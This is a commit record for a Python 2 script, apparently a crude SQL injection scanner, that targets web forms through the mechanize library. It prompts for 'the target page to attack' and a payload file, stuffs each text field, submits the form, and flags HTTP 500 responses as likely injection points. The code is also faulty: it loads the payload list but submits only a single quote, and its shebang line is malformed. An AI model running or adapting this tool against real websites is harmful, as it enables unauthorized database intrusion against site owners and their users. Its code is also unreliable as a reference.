new_contents: #/bin/python
  # sqlisqlisqlisqlisqlisqlisqli
  import mechanize 
  import logging
  import time
  from optparse import OptionParser
  from urllib2 import HTTPError
  import Queue
  import threading
  
  start = time.time()
  
  def sqli(target, sqli_list):
    
    sqli_list = open(sqli_list)
    for sqli in sqli_list.readlines():
      sqli = sqli.rstrip()
      br = mechanize.Browser()
      br.set_handle_equiv(False)
      br.set_handle_redirect(False)
      br.set_handle_referer(False)
      br.set_handle_robots(False)
      br.open(target)
      br.select_form(nr=0)
      time.sleep(2)
      for field in br.form.controls:
        if field.type == "text":
          br.form[field.name] = str("'")
      print br.form#"! injecting {0}, in the form {1}, on the page: {2}".format(str(sqli), str(br.form.name), str(target))
      request = br.click(type="submit")
      response = br.open(request)
      if response.code == 200:
        print "No dice... 200 OK response"
      if response.code == 500:
        print "500 Internal Error, potential SQL with {0}".format(str(field))
  
  	  
  def main():
    # Setup the command line arguments.
    optp = OptionParser()
  
    # Output verbosity options
    optp.add_option('-q', '--quiet', help='set logging to ERROR',
                    action='store_const', dest='loglevel',
                    const=logging.ERROR, default=logging.INFO)
    optp.add_option('-d', '--debug', help='set logging to DEBUG',
                    action='store_const', dest='loglevel',
                    const=logging.DEBUG, default=logging.INFO)
    optp.add_option('-v', '--verbose', help='set logging to COMM',
                    action='store_const', dest='loglevel',
                    const=5, default=logging.INFO)
  
    # Option for target web form to brute
    optp.add_option("-t", "--target", dest="target",
                    help="The target page to attack")
  				  
    # Option for sqli list to use in attack
    optp.add_option("-s", "--sqli", dest="sqli",
                    help="The list of SQL Injection attacks to use")
  				  
    opts, args = optp.parse_args()
  
    if opts.target is None:
      opts.target = raw_input("What is the target page to attack w/ sqli: ")
  	
    if opts.sqli is None:
      opts.sqli = raw_input("What is the SQL injection file to use in our attack: ")
  	
    # Setup logging.
    logging.basicConfig(level=opts.loglevel,
                        format='%(levelname)-8s %(message)s')
  
  
    # Main Event Loop:
    try:
      sqli(opts.target, opts.sqli)
    
    except (KeyboardInterrupt, EOFError) as e:
      print "Exiting..."
      exit(0)
  	
    print "Injection Complete!"
    print "Elapsed Time: %s" % (time.time() - start)
    
  if __name__ == '__main__':
    main()
  	  
  
subject: Create mechanize_webform_sqli.py